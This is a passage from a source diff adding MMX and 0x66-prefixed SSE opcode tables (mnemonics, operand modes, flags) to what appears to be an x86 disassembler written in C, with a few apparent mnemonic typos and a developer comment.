AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "psrlq", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "paddq", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "pmullw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_MMX, "pmovmskb", AM_G|OT_q, AM_P|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "psubusb", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "psubusw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "pminub", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "pand", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "paddusb", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "paddusw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "pmaxsw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "pandn", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "pavgb", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "psraw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "psrad", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "pavgw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "pmulhuw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "pmulhw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_MMX, "movntq", AM_M|OT_q, AM_V|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "psubsb", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "psubsw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "pminsw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "por", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "paddsb", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "paddsw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "pmaxsw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "pxor", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_MMX, "psllw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "pslld", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "psllq", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "pmuludq", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "pmaddwd", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "psadbw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + // XXX: check operand types + { INSTRUCTION_TYPE_MMX, "maskmovq", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "psubb", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "psubw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "psubd", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "psubq", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "paddb", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "paddw", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_MMX, "paddd", AM_P|OT_q, AM_Q|OT_q, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, +}; + +// 3-byte instructions, prefix 0x66 + +// Yeah, I know, it's waste to use a full 256-instruction table but now +// I'm prepared for future Intel extensions ;-) + +INST inst_table3_66[256] = { + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x0 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x2 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x5 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf + { INSTRUCTION_TYPE_SSE, "movupd", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x10 + { INSTRUCTION_TYPE_SSE, "movupd", AM_W|OT_pd, AM_V|OT_pd, FLAGS_NONE, 1 }, // 0x11 + { INSTRUCTION_TYPE_SSE, "movlpd", AM_V|OT_q, AM_M|OT_q, FLAGS_NONE, 1 }, // 0x12 + { INSTRUCTION_TYPE_SSE, "movlpd", AM_M|OT_q, AM_V|OT_q, FLAGS_NONE, 1 }, // 0x13 + { INSTRUCTION_TYPE_SSE, "unpcklpd", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x14 + { INSTRUCTION_TYPE_SSE, "unpcklpd", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x15 + { INSTRUCTION_TYPE_SSE, "movhpd", AM_V|OT_q, AM_M|OT_q, FLAGS_NONE, 1 }, // 0x16 + { INSTRUCTION_TYPE_SSE, "movhpd", AM_M|OT_q, AM_V|OT_pd, FLAGS_NONE, 1 }, // 0x17 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x18 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x19 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1a + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1b + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1c + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1d + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1e + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1f + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x20 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x21 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x22 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x23 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x24 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x25 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x26 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x27 + { INSTRUCTION_TYPE_SSE, "movapd", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x28 + { INSTRUCTION_TYPE_SSE, "movapd", AM_W|OT_pd, AM_V|OT_pd, FLAGS_NONE, 1 }, // 0x29 + { INSTRUCTION_TYPE_SSE, "cvtpi2pd", AM_V|OT_pd, AM_Q|OT_q, FLAGS_NONE, 1 }, // 0x2a + { INSTRUCTION_TYPE_SSE, "movntpd", AM_M|OT_pd, AM_V|OT_pd, FLAGS_NONE, 1 }, // 0x2b + { INSTRUCTION_TYPE_SSE, "cvttpd2pi",AM_P|OT_q, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x2c + { INSTRUCTION_TYPE_SSE, "cvtpd2pi", AM_P|OT_q, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x2d + { INSTRUCTION_TYPE_SSE, "ucomisd", AM_V|OT_sd, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x2e + { INSTRUCTION_TYPE_SSE, "comisd", AM_V|OT_sd, AM_W|OT_sd, FLAGS_NONE, 1 }, // 0x2f + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x30 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x31 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x32 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x33 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x34 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x35 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x36 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x37 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x38 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x39 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3a + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3b + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3c + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3d + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3e + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3f + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x40 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x41 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x42 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x43 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x44 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x45 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x46 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x47 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x48 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x49 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4a + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4b + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4c + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4d + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4e + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4f + { INSTRUCTION_TYPE_SSE, "movmskpd", AM_G|OT_d, AM_V|OT_pd, FLAGS_NONE, 1 }, // 0x50 + { INSTRUCTION_TYPE_SSE, "sqrtpd", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x51 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x52 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x53 + { INSTRUCTION_TYPE_SSE, "andpd", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x54 + { INSTRUCTION_TYPE_SSE, "andnpd", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x55 + { INSTRUCTION_TYPE_SSE, "orpd", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x56 + { INSTRUCTION_TYPE_SSE, "xorpd", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x57 + { INSTRUCTION_TYPE_SSE, "addpd", AM_V|OT_pd, AM_W|OT_ps, FLAGS_NONE, 1 }, // 0x58 + { INSTRUCTION_TYPE_SSE, "mulpd", AM_V|OT_pd, AM_W|OT_ps, FLAGS_NONE, 1 }, // 0x59 + { INSTRUCTION_TYPE_SSE, "cvtpd2ps", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x5a + { INSTRUCTION_TYPE_SSE, "cvtps2dq", AM_V|OT_pd, AM_W|OT_ps, FLAGS_NONE, 1 }, // 0x5b + { INSTRUCTION_TYPE_SSE, "subpd", AM_V|OT_pd, AM_W|OT_ps, FLAGS_NONE, 1 }, // 0x5c + { INSTRUCTION_TYPE_SSE, "minpd", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x5d + { INSTRUCTION_TYPE_SSE, "divpd", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x5e + { INSTRUCTION_TYPE_SSE, "maxpd", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x5f + { INSTRUCTION_TYPE_SSE, "punpcklbw",AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x60 + { INSTRUCTION_TYPE_SSE, "punpcklwd",AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x61 + { INSTRUCTION_TYPE_SSE, "punockldq",AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x62 + { INSTRUCTION_TYPE_SSE, "packusdw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x63 + { INSTRUCTION_TYPE_SSE, "pcmpgtb", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x64 + { INSTRUCTION_TYPE_SSE, "pcmpgtw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x65 + { INSTRUCTION_TYPE_SSE, "pcmpgtd", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x66 + { INSTRUCTION_TYPE_SSE, "packsswb", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x67 + { INSTRUCTION_TYPE_SSE, "punpckhbw",AM_V|OT_dq, AM_Q|OT_dq, FLAGS_NONE, 1 }, // 0x68 + { INSTRUCTION_TYPE_SSE, "punpckhbd",AM_V|OT_dq, AM_Q|OT_dq, FLAGS_NONE, 1 }, // 0x69 + { INSTRUCTION_TYPE_SSE, "punpckhdq",AM_V|OT_dq, AM_Q|OT_dq, FLAGS_NONE, 1 }, // 0x6a + { INSTRUCTION_TYPE_SSE, "packssdw", AM_V|OT_dq, AM_Q|OT_dq, FLAGS_NONE, 1 }, // 0x6b + { INSTRUCTION_TYPE_SSE, "punpcklqdq",AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x6c + { INSTRUCTION_TYPE_SSE, "punpckhqd",AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x6d + { INSTRUCTION_TYPE_SSE, "movd", AM_V|OT_d, AM_E|OT_dq, FLAGS_NONE, 1 }, // 0x6e + { INSTRUCTION_TYPE_SSE, "movdqa", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x6f + { INSTRUCTION_TYPE_SSE, "pshufd", AM_V|OT_dq, AM_W|OT_dq, AM_I|OT_b, 1 }, // 0x70 + // groups 12-14 + { INSTRUCTION_TYPE_SSE, "g12", AM_P|OT_dq, AM_I|OT_b, FLAGS_NONE, 1 }, // 0x71 + { INSTRUCTION_TYPE_SSE, "g13", AM_W|OT_dq, AM_I|OT_b, FLAGS_NONE, 1 }, // 0x72 + { INSTRUCTION_TYPE_SSE, "g14", AM_W|OT_dq, AM_I|OT_b, FLAGS_NONE, 1 }, // 0x73 + { INSTRUCTION_TYPE_SSE, "pcmpeqb", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x74 + { INSTRUCTION_TYPE_SSE, "pcmpeqw", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x75 + { INSTRUCTION_TYPE_SSE, "pcmpeqd", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x76 + { INSTRUCTION_TYPE_MMX, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x77 + { INSTRUCTION_TYPE_MMX, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x78 + { INSTRUCTION_TYPE_MMX, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x79 + { INSTRUCTION_TYPE_MMX, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7a + { INSTRUCTION_TYPE_MMX, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7b + { INSTRUCTION_TYPE_SSE, "haddpd", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x7c + { INSTRUCTION_TYPE_SSE, "hsubpd", AM_V|OT_pd, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0x7d + { INSTRUCTION_TYPE_SSE, "movd", AM_E|OT_d, AM_V|OT_d, FLAGS_NONE, 1 }, // 0x7e + { INSTRUCTION_TYPE_SSE, "movdqa", AM_W|OT_dq, AM_V|OT_dq, FLAGS_NONE, 1 }, // 0x7f + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x80 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x81 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x82 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x83 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x84 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x85 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x86 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x87 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x88 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x89 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8a + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8b + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8c + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8d + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8e + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8f + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x90 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x91 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x92 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x93 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x94 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x95 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x96 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x97 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x98 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x99 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9a + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9b + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9c + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9d + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9e + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9f + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa0 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa1 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa2 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa3 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa4 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa5 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa6 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa7 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa8 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa9 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xaa + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xab + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xac + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xad + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xae + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xaf + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb0 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb1 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb2 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb3 + { 